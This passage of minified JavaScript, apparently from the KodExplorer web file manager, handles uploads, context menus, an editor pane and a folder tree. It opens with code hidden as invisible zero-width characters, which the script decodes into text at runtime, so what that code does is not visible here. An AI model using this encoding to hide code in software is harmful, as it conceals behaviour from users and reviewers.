‌‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‌‍‌‌‌‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‌‍‍‍‌‌‍‍‌‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‌‌‌‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‍‍‍‍‌‍‍‌‍‌‌‌‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‍‍‍‌‌‍‌‌‌‌‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‌‍‍‍‌‍‍‌‍‌‌‍‌‍‍‌‌‍‍‌‍‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‍‌‍‌‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‍‍‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‌‍‌‍‍‍‍‌‍‌‍‍‍‍‌‍‍‌‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‍‍‍‌‍‌‌‌‍‍‌‌‌‍‍‌‍‍‌‌‍‍‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‌‌‍‌‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‍‍‍‌‌‍‍‌‍‍‍‌‌‍‌‍‌‍‍‌‍‌‍‌‌‍‍‌‌‍‌‍‌‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‍‍‍‌‌‍‍‍‌‍‍‌‌‍‍‍‍‍‍‌‌‍‍‍‍‍‍‌‌‍‍‍‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌".replace(/.{8}/g,function(e){return String.fromCharCode(parseInt(e.replace(/\u200c/g,1).replace(/\u200d/g,0),2))})),uploader=upCreate({swf:G.static_path+"js/lib/webuploader/Uploader.swf",dnd:"body",threads:5,compress:!1,resize:!1,prepareNextFile:!0,duplicate:!0,chunkRetry:10,chunked:!0,chunkSize:chunkSize}),$(".uploader-content .success").die("click").live("click",function(){var e=$(this).find("span.title").attr("data-name");e&&("explorer"==Config.pageApp?ui.path.list(core.pathFather(e),"tips",function(){ui.path.setSelectByFilename(e)}):core.explorer(core.pathFather(e)))}),$(".uploader-content .open").die("click").live("click",function(e){var t=$(this).parent().find("span.title").attr("data-name");ui.pathOpen.open(t),stopPP(e)}),$(".upload_box_clear").die("click").live("click",function(){$(".uploader-list .item.success,.uploader-list .item.error").each(function(){$(this).slideUp(300,function(){$(this).remove()})})}),$(".upload_box_clear_all").die("click").live("click",function(){$.each(uploader.getFiles(),function(e,t){uploader.skipFile(t),uploader.removeFile(t)}),$(".uploader-list .item").each(function(){$(this).remove()})}),$(".uploader-content .remove").die("click").live("click",function(e){var t=$(this).parent().parent().attr("id");$(this).parent().parent().slideUp(function(){$(this).remove()}),uploader.skipFile(t),uploader.removeFile(t,!0),stopPP(e)});var file_num=0,file_finished=0,currentSpeed="0B/s",preTime=0,getSpeed=function(e,t){if(.3>=timeFloat()-preTime)return currentSpeed;preTime=timeFloat();var i=e.size*t,a=5;e.speed===void 0?e.speed=[[timeFloat()-.5,0],[timeFloat(),i]]:a>=e.speed.length?e.speed.push([timeFloat(),i]):(e.speed=e.speed.slice(1,a),e.speed.push([timeFloat(),i]));var n=e.speed[e.speed.length-1],o=e.speed[0],s=(n[1]-o[1])/(n[0]-o[0]);return 0>=s&&(s=0),s=core.fileSize(s)+"/s",currentSpeed=s,s},selectNameArr=[],changeDelayTimer,pathReload=function(e){clearTimeout(changeDelayTimer),changeDelayTimer=!1,changeDelayTimer=setTimeout(function(){var t=selectNameArr;ui.f5Callback(function(){if(ui.path.setSelectByFilename(t),e&&(selectNameArr=[],"explorer"==Config.pageApp)){if("share"==G.share_page)return;ui.tree.checkIfChange(G.this_path)}})},600)};uploader.on("fileQueued",function(e){if(!core.uploadCheck())return uploader.skipFile(e),uploader.removeFile(e),void 0;var t;try{t=e.source.source.fullPath,void 0!=e.source.source.webkitRelativePath&&""!=e.source.source.webkitRelativePath&&(t=e.source.source.webkitRelativePath)}catch(i){}if(e.fullPath=t,e.source&&e.source.source&&1==e.source.source.isDirectory&&e.source.source.fullPath)return ui.pathOperate.newFolder(G.this_path+e.fullPath),uploader.skipFile(e),uploader.removeFile(e),void 0;if(0==e.size)return ui.pathOperate.newFile(G.this_path+e.fullPath),uploader.skipFile(e),uploader.removeFile(e),file_finished++,file_num++,void 0;var a=e.fullPath;e.finished=!1,e.upload_to=G.this_path,(void 0==a||"undefined"==a)&&(a=e.name),file_num++;var n=$(".uploader-list"),o='
        '+''+htmlEncode(core.pathThis(a))+""+''+core.fileSize(e.size)+""+''+LNG.upload_ready+""+''+'
        ';(1e3==file_num||2e3==file_num)&&Tips.tips(LNG.upload_tips_more,"warning"),0==n.length?setTimeout(function(){$(".uploader-list").prepend(o),uploader.upload()},100):(n.prepend(o),uploader.upload())}).on("uploadBeforeSend",function(e,t){var i=urlEncode(e.file.fullPath);(void 0==i||"undefined"==i)&&(i=""),t.fullPath=i,t.upload_to=e.file.upload_to}).on("uploadProgress",function(e,t){$(".dialog_file_upload .aui_title").text(LNG.uploading+": "+file_finished+"/"+file_num+" ("+currentSpeed+")");var i=getSpeed(e,t),a=$("#"+e.id),n=a.find(".progress .progress-bar");n.length||(n=$('
        ').appendTo(a).find(".progress-bar")),a.find(".state").text((100*t).toFixed(1)+"%("+i+")"),n.css("width",100*t+"%")}).on("uploadAccept",function(e,t){if(e.file.serverData=t,!t.code)return e.serverNeedRetry=!0,!1;try{e.file.fullPath||selectNameArr.push(t.info)}catch(i){}}).on("uploadSuccess",function(e){var t=$("#"+e.id);if(!t.inScreen()){var i=36*t.index(".item");$(".uploader-content").scrollTop(i)}file_finished++;var a=e.serverData;if(a&&a.data){var n=LNG[a.data];a.code?($("#"+e.id).addClass("success"),$("#"+e.id).find(".state").text(n),$("#"+e.id).find(".remove").addClass("icon-ok").addClass("open").removeClass("icon-remove").removeClass("remove")):($("#"+e.id).addClass("error").find(".state").addClass("error"),$("#"+e.id).find(".state").text(n).attr("title",n))}uploader.removeFile(e),$("#"+e.id).find(".progress").fadeOut(),e.fullPath||pathReload(!1)}).on("uploadError",function(e,t){var i=LNG.upload_error+"("+t+")";if(e.serverData)if(e.serverData.data){var a=e.serverData.data;i=LNG[a]?LNG[a]:a}else e.serverData._raw&&(i=e.serverData._raw);file_finished++,$("#"+e.id).find(".progress").fadeOut(),$("#"+e.id).addClass("error").find(".state").addClass("error"),$("#"+e.id).find(".state").html(i).attr("title",i)}).on("uploadFinished",function(){$(".dialog_file_upload .aui_title").text(LNG.upload_success+": "+file_finished+"/"+file_num),file_num=0,file_finished=0,uploader.reset(),pathReload(!0)}).on("error",function(e){Tips.tips(e,!1)});var timer;inState=!1,dragOver=function(){if(0==inState){if(inState=!0,!core.uploadCheck(void 0,!1))return;var e='
        '+LNG.upload_drag_tips+"
        ";MaskView.tips(e),$("#windowMaskView").css({background:"#4285f4",opacity:"0.8"})}timer&&window.clearTimeout(timer)},dragLeave=function(e){stopPP(e),timer&&window.clearTimeout(timer),timer=window.setTimeout(function(){inState=!1,MaskView.close()},100)},dragDrop=function(e){try{if(e=e.originalEvent||e,core.uploadCheck())if(e.dataTransfer.files.length>0&&e.dataTransfer.files[0].name)core.upload(),core.playSound("drag_upload");else{var t=e.dataTransfer.getData("text/plain");t&&"http"==t.substring(0,4)&&ui.pathOperate.appAddURL(t)}stopPP(e)}catch(e){}inState&&(inState=!1,MaskView.close())}}}}),define("app/common/core.api",[],function(){var e=function(e,t,i){var a=$(i.DOM.wrap),n=t.frames.OpenpathSelectApi,o='';"file"==e.type&&(o+=''+e.allowExt+""),$(o).insertBefore(a.find(".aui_state_highlight"));var s=function(t){var i=e.allowExt.split("|"),a=core.pathExt(t);return""==e.allowExt||""!=e.allowExt&&-1!=$.inArray(a,i)?!0:!1},r=function(){var t=n.ui.fileLight.fileListSelect(),i=[];if(e.single){var a=$(t.get(0));if("all"==e.type&&0==t.length)i={file:[],folder:[]};else if("file"==e.type&&0==t.length)i=[];else if("folder"==e.type)i=[n.G.this_path],a.hasClass("folderBox")&&(i=[n.ui.fileLight.path(a)]);else if("file"==e.type){if(a.hasClass("fileBox")){var o=n.ui.fileLight.path(a);s(o)&&(i=[o])}}else if("all"==e.type)if(a.hasClass("folderBox")){var o=n.ui.fileLight.path(a);i=[{file:[],folder:[o]}]}else if(a.hasClass("fileBox")){var o=n.ui.fileLight.path(a);s(o)&&(i={file:[o],folder:[]})}}else{var r=[],l=[];t.each(function(){if($(this).hasClass("fileBox")){var e=n.ui.fileLight.path($(this));s(e)&&r.push(e)}else $(this).hasClass("folderBox")&&l.push(n.ui.fileLight.path($(this)))}),"folder"==e.type?i=l:"file"==e.type?i=r:"all"==e.type&&(i={file:r,folder:l})}c(i)},l=function(e){var e=trim(e,"/");return e==G.KOD_GROUP_ROOT_SELF||e==G.KOD_GROUP_ROOT_ALL||e==G.KOD_USER_FAV||e==G.KOD_USER_SHARE?!1:!0},c=function(t){var i=a.find(".path_select_input"),o=a.find(".aui_state_highlight");if("all"!=e.type){for(var s=[],r=0;t.length>r;r++)l(t[r])&&s.push(t[r]);t=s}if(0==t.length||"all"==e.type&&0==t.file.length&&0==t.folder.length)o.addClass("disable"),i.attr("result",""),i.val("");else{var c=hashEncode(jsonEncode(t)),d="";if(e.single)d=n.core.pathThis(t[0]);else{var p=t;"all"==e.type&&(p=t.folder.concat(t.file)),$.each(p,function(e,t){d+=n.core.pathThis(t)+", "})}o.removeClass("disable"),i.attr("result",c),i.val(d)}},d=function(){n.ui.fileLight.select.hook("select",n.ui.fileLight,{before:function(){},after:function(){r()}})};n.kodReady||(n.kodReady=[]),n.kodReady.push(function(){d(),r()})};return{pathSelect:function(t,i){var a={type:"file",title:LNG.path_api_select_file,single:!0,allowExt:"",firstPath:!1},n="./index.php?/explorer&type=iframe";t=$.extend(a,t),t.firstPath&&(n+="&path="+t.firstPath);var o=ShareData.frameTop(),s=o.$.dialog.open(n,{id:"pathSelectApi",resize:!0,fixed:!0,ico:core.icon("folder"),title:t.title,lock:!0,background:"#000",opacity:.1,width:840,height:420,ok:function(){if("function"==typeof i){var e=s.DOM.wrap,a=e.find(".path_select_input").attr("result");a=jsonDecode(hashDecode(a)),a?t.single&&"all"!=t.type?i(a[0]):i(a):Tips.tips(LNG.error,!1)}},cancel:!0});e(t,o,s)},randomImage:function(e){$.getJSON("//kalcaddle.com/tools/version/?wallpage/index&lang="+G.lang+"&callback=?",function(t){"function"==typeof e&&e(t)})}}}),define("app/common/core.playSound",["./myPlayer"],function(e){var t={file_remove:"file_remove.mp3",recycle_clear:"recycle_clear.mp3",folder_open:"folder_open.mp3",window_min:"window_min.mp3",error:"error_tips.mp3",drag_upload:"drag_upload.mp3",drag_drop:"drag_drop.mp3"},i=function(t){var i="x-play-sound";0==$("."+i).length&&$('
        ').appendTo("body");var a=G.static_path+"others/sound/"+t,n=e("./myPlayer");n.playSound(a,$("."+i))};return{playSoundFile:i,playSound:function(e){G&&G.user_config&&"1"==G.user_config.sound_open&&setTimeout(function(){i(t[e])},100)}}}),define("app/common/tpl/copyright.html",[],'\n'),define("app/common/tpl/theme_diy.html",[],"@media screen and (max-width:100000px) {\n body .full_background{\n position: absolute;top: 0px;left: 0px;bottom: 0px;right: 0px;\n background-color: #020202;background-size: 100% 100%;\n }\n\n {{if blur_size= (bg_blur==0?0:10) }}{{/if}}\n body .full_background:before{\n -webkit-filter: blur({{blur_size}}px);\n -moz-filter: blur({{blur_size}}px);\n -ms-filter: blur({{blur_size}}px);\n filter: blur({{blur_size}}px);\n }\n {{if bg_type == 'image'}}\n body .full_background,\n body .full_background:before,\n body #body .menu_left,\n body #body .app_menu_left,\n body .aui_buttons,\n body .aui_state_focus .aui_title,body .aui_title{\n background-image:url({{bg_image}});\n }\n body .aui_state_focus .aui_title,body .aui_title{\n background-size:100%;\n }\n {{else}}\n body .full_background,\n body .full_background:before,\n body #body .menu_left, \n body #body .app_menu_left,\n body .aui_buttons,\n body .aui_state_focus .aui_title,body .aui_title{\n background:{{end_color}};\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='{{start_color}}', endColorstr='{{end_color}}');\n background-image: -webkit-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -moz-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -o-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -ms-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n }\n {{/if}}\n}\n"),define("app/share_common/rightMenu",[],function(){var e=".menufile",t=".menufolder",i=".menuMore",a=".menuTreeRoot",n=".menuTreeFolder",o=".menuTreeFile",s={listIcon:{name:LNG.list_type,icon:"eye-open",items:{seticon:{name:LNG.list_icon,className:"menu_seticon set_seticon"},setlist:{name:LNG.list_list,className:"menu_seticon set_setlist"}}},sortBy:{name:LNG.order_type,accesskey:"y",icon:"sort",items:{set_sort_name:{name:LNG.name,className:"menu_set_sort set_sort_name"},set_sort_ext:{name:LNG.type,className:"menu_set_sort set_sort_ext"},set_sort_size:{name:LNG.size,className:"menu_set_sort set_sort_size"},set_sort_mtime:{name:LNG.modify_time,className:"menu_set_sort set_sort_mtime"},sep105:"--------",set_sort_up:{name:LNG.sort_up,className:"menu_set_desc set_sort_up"},set_sort_down:{name:LNG.sort_down,className:"menu_set_desc set_sort_down"}}},setFileIconSize:{name:LNG.file_size_title,icon:"picture",className:"set-file-icon-size",items:{"box-size-smallx":{name:LNG.file_size_small_super,className:"file-icon-size box-size-smallx"},"box-size-small":{name:LNG.file_size_small,className:"file-icon-size box-size-small"},"box-size-default":{name:LNG.file_size_default,className:"file-icon-size box-size-default"},"box-size-big":{name:LNG.file_size_big,className:"file-icon-size box-size-big"},"box-size-bigx":{name:LNG.file_size_big_super,className:"file-icon-size box-size-bigx"}}}},r=function(){$('').appendTo("body"),$(".context-menu-list").die("click").live("click",function(e){return stopPP(e),!1}),c(),d(),p(),u(),m(),_(),x(),y(),b(),$(".set_set"+G.user_config.list_type).addClass("selected"),$(".set_sort_"+G.user_config.list_sort_field).addClass("selected"),$(".set_sort_"+G.user_config.list_sort_order).addClass("selected"),$(".context-menu-root").addClass("animated fadeIn")},l=function(){$('').appendTo("body"),$(".context-menu-list").die("click").live("click",function(e){return stopPP(e),!1}),m(),y(),x(),v(),g(),b(),$(".context-menu-root").addClass("animated fadeIn")},c=function(){$.contextMenu({selector:".menuBodyMain",className:"fileContiner_menu",zIndex:9999,callback:function(e,t){f(e,t)},items:{refresh:{name:LNG.refresh+"F5",className:"refresh",icon:"refresh",accesskey:"e"},sep1:"--------",listIcon:s.listIcon,sortBy:s.sortBy,setFileIconSize:s.setFileIconSize,sep10:"--------",info:{name:LNG.info+"Alt+I",className:"info",icon:"info",accesskey:"i"}}})},d=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:t,className:t.substr(1),callback:function(e){h(e)},items:{open:{name:LNG.open+"Enter",className:"open",icon:"folder-open-alt",accesskey:"o"},down:{name:LNG.download,className:"down",icon:"download",accesskey:"x"},sep1:"--------",search:{name:LNG.search_in_path+"Ctrl+F",className:"search",icon:"search",accesskey:"s"},openProject:{name:LNG.openProject,className:"openProject",icon:"edit"},sep2:"--------",info:{name:LNG.info+"Alt+I",className:"info",icon:"info",accesskey:"i"}}})},p=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:e,className:e.substr(1),callback:function(e){h(e)},items:{open:{name:LNG.open+"Enter",className:"open",icon:"external-link",accesskey:"o"},open_text:{name:LNG.edit+"Ctrl+E",className:"open_text",icon:"edit",accesskey:"e"},down:{name:LNG.download,className:"down",icon:"download",accesskey:"x"},show_file:{name:LNG.show_file,className:"show_file",icon:"globe",accesskey:"b"},sep1:"--------",info:{name:LNG.info+"Alt+I",className:"info",icon:"info",accesskey:"i"}}})},u=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:i,className:i.substr(1),callback:function(e){h(e)},items:{down:{name:LNG.download,className:"down",icon:"download",accesskey:"x"},sep1:"--------",playmedia:{name:LNG.add_to_play,className:"playmedia",icon:"music",accesskey:"p"},info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}})},f=function(e){switch(e){case"refresh":ui.f5(!0,!0);break;case"seticon":ui.setListType("icon");break;case"setlist":ui.setListType("list");break;case"set_sort_name":ui.setListSort("name",0);break;case"set_sort_ext":ui.setListSort("ext",0);break;case"set_sort_size":ui.setListSort("size",0);break;case"set_sort_mtime":ui.setListSort("mtime",0);break;case"set_sort_up":ui.setListSort(0,"up");break;case"set_sort_down":ui.setListSort(0,"down"); -break;case"info":ui.path.info();break;case"box-size-smallx":ui.setFileIconSize(40);break;case"box-size-small":ui.setFileIconSize(60);break;case"box-size-default":ui.setFileIconSize(80);break;case"box-size-big":ui.setFileIconSize(150);break;case"box-size-bigx":ui.setFileIconSize(220);break;case"open":ui.path.open();break;default:}},h=function(e){switch(e){case"open":ui.path.open();break;case"down":ui.path.download();break;case"open_text":ui.path.openEditor();break;case"playmedia":ui.path.play();break;case"search":ui.path.search();break;case"show_file":ui.path.show_file();break;case"openProject":ui.path.openProject();break;case"info":ui.path.info();break;default:}},m=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:a,callback:function(e){k(e)},items:{download:{name:LNG.download,className:"down",icon:"download",accesskey:"x"},sep2:"--------",info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}})},_=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:n,callback:function(e){k(e)},items:{download:{name:LNG.download,className:"down",icon:"download",accesskey:"x"},sep1:"--------",search:{name:LNG.search_in_path,className:"search",icon:"search",accesskey:"s"},explorer:{name:LNG.manage_folder,className:"explorer",icon:"laptop",accesskey:"v"},openProject:{name:LNG.openProject,className:"openProject",icon:"edit"},sep2:"--------",info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}})},v=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:n,callback:function(e){k(e)},items:{download:{name:LNG.download,className:"down",icon:"download",accesskey:"x"},sep1:"--------",search:{name:LNG.search_in_path,className:"search",icon:"search",accesskey:"s"},explorer:{name:LNG.manage_folder,className:"explorer",icon:"laptop",accesskey:"v"},openProject:{name:LNG.openProject,className:"openProject",icon:"edit"},sep2:"--------",info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}})},g=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:o,callback:function(e){k(e)},items:{edit:{name:LNG.edit,className:"edit",icon:"edit",accesskey:"e"},open:{name:LNG.open,className:"open",icon:"external-link",accesskey:"o"},download:{name:LNG.download,className:"download",icon:"download",accesskey:"x"},show_file:{name:LNG.show_file,className:"show_file",icon:"globe",accesskey:"b"},sep1:"--------",info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}})},b=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".taskBarMenu",items:{quitOthers:{name:LNG.close_others,className:"quitOthers",icon:"remove-circle",accesskey:"o"},quit:{name:LNG.close,className:"quit",icon:"remove",accesskey:"q"}},callback:function(e,t){var i=t.$trigger.attr("id"),a=$.dialog.list[i];switch(e){case"quitOthers":$.each($.dialog.list,function(e,t){i!=e&&t.close()});break;case"quit":a.close()}}})},y=function(){$.contextMenu({zIndex:9999,selector:".task_tab",items:{closeAll:{name:LNG.dialog_close_all,icon:"remove-circle",accesskey:"q"},showAll:{name:LNG.dialog_display_all,icon:"th-large",accesskey:"s"},hideAll:{name:LNG.dialog_min_all,icon:"remove",accesskey:"h"}},callback:function(e,t){var i=t.$trigger.attr("id");switch($.dialog.list[i],e){case"showAll":$.each($.dialog.list,function(e,t){t.display(!0)});break;case"hideAll":$.each($.dialog.list,function(e,t){t.display(!1)});break;case"closeAll":$.each($.dialog.list,function(e,t){t.close()});break;default:}}})},x=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".dialog_menu",items:{quit_dialog:{name:LNG.close,className:"quit_dialog",icon:"remove",accesskey:"q"},hide_dialog:{name:LNG.dialog_min,className:"hide_dialog",icon:"minus",accesskey:"h"},refresh:{name:LNG.refresh,className:"refresh",icon:"refresh",accesskey:"r"},open_window:{name:LNG.open_ie,className:"open_window",icon:"globe",accesskey:"b"},sep101:"--------",qrcode:{name:LNG.qrcode,className:"qrcode",icon:"qrcode",accesskey:"c"}},callback:function(e,t){var i=t.$trigger.attr("id"),a=$.dialog.list[i];switch(e){case"quit_dialog":a.close();break;case"hide_dialog":a.display(!1);break;case"refresh":a.refresh();break;case"open_window":a.open_window();break;case"qrcode":core.qrcode(a.DOM.wrap.find("iframe").attr("src"));break;default:}}})},k=function(e){switch(e){case"edit":ui.tree.openEditor();break;case"open":ui.tree.open();break;case"refresh":ui.tree.refresh();break;case"info":ui.tree.info();break;case"explorer":ui.tree.explorer();break;case"openProject":ui.tree.openProject();break;case"show_file":ui.tree.showFile();break;case"download":ui.tree.download();break;case"search":ui.tree.search();break;case"refresh_all":ui.tree.init();break;case"quit":break;default:}};return{initExplorer:r,initEditor:l,show:function(e,t,i){e&&(rightMenu.hidden(),$(e).contextMenu({x:t,y:i}))},menuShow:function(){var e=$(".context-menu-list").filter(":visible"),t=$(".context-menu-active");if(0!=e.length&&0!=t.length){if(t.hasClass("dialog_menu")){var i=t.attr("id"),a=$.dialog.list[i];a.has_frame()?(e.find(".open_window").show(),e.find(".refresh").show()):(e.find(".open_window").hide(),e.find(".refresh").hide())}if(t.hasClass("menufile")){var n=ui.fileLight.type(ui.fileLight.fileListSelect());"zip"==n?e.find(".unzip").show():e.find(".unzip").hide(),"html"==n||"htm"==n||"oexe"==n?e.find(".open_text").show():e.find(".open_text").hide()}if(t.hasClass("menuMore")){var o=0;ui.fileLight.fileListSelect().each(function(){var e=core.pathExt(ui.fileLight.name($(this)));(inArray(core.filetype.music,e)||inArray(core.filetype.movie,e))&&(o+=1)}),0==o?e.find(".playmedia").hide():e.find(".playmedia").show()}}},isDisplay:function(){var e=!1;return $(".context-menu-list").each(function(){"none"!=$(this).css("display")&&(e=!0)}),e},hidden:function(){$(".context-menu-list").filter(":visible").trigger("contextmenu:hide")}}}),define("app/src/share_editor/ui",[],function(){var e=function(){var e=!1,t=0,i=0,a=0,n=$(".frame-left"),o=$(".frame-resize"),s=$(".frame-right");o.die("mousedown").live("mousedown",function(e){return 1!=e.which?!0:(r(e),this.setCapture&&this.setCapture(),$(document).mousemove(function(e){l(e)}),$(document).one("mouseup",function(e){return c(e),this.releaseCapture&&this.releaseCapture(),stopPP(e),!1}),stopPP(e),!1)});var r=function(a){e=!0,t=a.pageX,i=$(".frame-left").width(),o.addClass("active"),$(".resizeMask").css("display","block")},l=function(r){if(!e)return!0;var l=r.pageX-t,c=i+l;a>c&&(c=a),c>$(document).width()-200&&(c=$(document).width()-200),n.css("width",c),o.css("left",c-5),s.css("left",c+1)},c=function(){return e?(e=!1,o.removeClass("active"),$(".resizeMask").css("display","none"),void 0):!1}},t=function(){$(".tools-left a").click(function(){var e=$(this).attr("class");switch(e){case"home":tree.init();break;case"view":tree.explorer();break;case"folder":tree.create("folder");break;case"file":tree.create("file");break;case"refresh":tree.init();break;default:}})};return{init:function(){e(),t(),tree.init(),Mousetrap.bind(["ctrl+s","command+s"],function(e){e.preventDefault(),e.returnvalue=!1,ShareData.frameTop("OpenopenEditor",function(e){e.Editor.save()})})},setTheme:function(e){core.setSkin(e,"app_editor.css"),ShareData.frameTop("OpenopenEditor",function(t){t.Editor.setTheme(e)})},editorFull:function(){var e=$("iframe[name=OpenopenEditor]");e.toggleClass("frame_fullscreen")},fileHistory:function(e){var t=G.project;if(G.sid!==void 0&&(t=t+"__"+G.sid),t="editorHistory_"+t,void 0==e){var i=LocalData.get(t);return i=jsonDecode(i),$.isArray(i)||(i=[]),i}LocalData.set(t,jsonEncode(e))}}}),define("app/common/tree",["./pathOperate","./pathOpen","./myPlayer"],function(e){var t,i=e("./pathOperate"),a=e("./pathOpen"),n=!1;ui.pathOpen=a,ui.pathOperate=i;var o,s=function(){0!=$("#windowMaskView").length&&"block"==$("#windowMaskView").css("display")&&inArray(core.filetype.image,f().type)&&a.open(f().path,f().type)},r=function(e,t){if(e&&e[0]&&-1!==$.inArray(e[0].menuType,["menuTreeGroup","menuTreeFav"]))return e;for(var i=[],a=[],n=0;e.length>n;n++)e[n].drop=!1,e[n].drag=!1,e[n].name=e[n].name,e[n].isParent&&e[n].children&&(e[n].children=r(e[n].children)),e[n].is_writeable,"folder"==e[n].type?a.push(e[n]):i.push(e[n]);return t?e:(a=a.sort(function(e,t){var e=e.name,t=t.name;return ui.pathOperate.strSort(e,t)}),i=i.sort(function(e,t){var e=e.name,t=t.name;return ui.pathOperate.strSort(e,t)}),a.concat(i))},l=function(){var e={},t="tree_open_"+md5(Config.pageApp),i=function(e){if(!LocalData.support())return{};if(void 0==e){var i=LocalData.getConfig(t);return 0==i?{}:i}LocalData.setConfig(t,e)},a=function(t){for(var i=0;t.length>i;i++){var a=t[i].path;void 0!==e[a]&&(t[i].open=e[a])}return t},n=function(){for(var t=o.getNodesByFilter(function(e){return 0==e.level?!0:!1}),a={},n=0;t.length>n;n++)a[t[n].path]=t[n].open;return e=a,i(e),e};return e=i(),{list:function(){return e},reset:a,save:n}}(),c=function(){$.ajax({url:Config.treeAjaxURL+"&type=init",dataType:"json",error:function(){$("#folderList").html('
        '+LNG.system_error+"
        ")},success:function(e){if(!e.code)return $("#folderList").html('
        '+LNG.system_error+"
        "),void 0;var t=r(e.data,!0);t=l.reset(t),$.fn.zTree.init($("#folderList"),u,t),o=$.fn.zTree.getZTreeObj("folderList")}}),$(".ztree .switch").die("mouseenter").live("mouseenter",function(){$(this).addClass("switch_hover")}).die("mouseleave").live("mouseleave",function(){$(this).removeClass("switch_hover")}),"editor"==Config.pageApp&&(Mousetrap.bind("up",function(e){d(e,"up")}).bind("down",function(e){d(e,"down")}).bind("left",function(e){d(e,"left")}).bind("right",function(e){d(e,"right")}),Mousetrap.bind("enter",function(){tree.open()}).bind(["del","command+backspace"],function(){tree.remove()}).bind("f2",function(e){stopPP(e),tree.rname()}).bind(["ctrl+f","command+f"],function(e){stopPP(e),tree.search()}).bind(["ctrl+c","command+c"],function(){tree.copy()}).bind(["ctrl+x","command+x"],function(){tree.cute()}).bind(["ctrl+v","command+v"],function(){tree.past()}).bind("alt+m",function(){tree.create("folder")}).bind("alt+n",function(){tree.create("file")}))},d=function(e,t){stopPP(e);var i=o.getSelectedNodes()[0];if(i){switch(t){case"up":var a=i.getPreNode();if(a){if(a.open&&a.children.length>0)for(;a.open&&a.children&&a.children.length>=1;)a=a.children[a.children.length-1]}else a=i.getParentNode();o.selectNode(a);break;case"down":if(i.open&&i.children.length>=1)a=i.children[0];else{var n=i,a=n.getNextNode()||n.getParentNode().getNextNode();try{for(;!a;)n=n.getParentNode(),a=n.getNextNode()||n.getParentNode().getNextNode()}catch(e){}}o.selectNode(a);break;case"left":i.isParent?i.open?o.expandNode(i,!1):o.selectNode(i.getParentNode()):o.selectNode(i.getParentNode());break;case"right":i.open?o.selectNode(i.children[0]):o.expandNode(i,!0);break;default:}s()}},p=function(){return"editor"==Config.pageApp?!1:!0},u={async:{enable:!0,dataType:"json",url:Config.treeAjaxURL,autoParam:["ajax_path=path","tree_icon=tree_icon"],dataFilter:function(e,t,i){return i.code?r(i.data):null}},edit:{enable:!0,showRemoveBtn:!1,showRenameBtn:!1,drag:{isCopy:!1,isMove:!1}},view:{showLine:!1,selectedMulti:!1,expandSpeed:"fast",dblClickExpand:!1,addDiyDom:function(e,t){var i=15,a=$("#"+t.tId+"_switch"),n=$("#"+t.tId+"_ico");a.remove(),t.iconSkin=t.tree_icon;var o=t.tree_icon;if(t.ext?o=t.ext:t.tree_icon||(o=t.type),n.before(a).before(''+core.iconSmall(o)+"").remove(),void 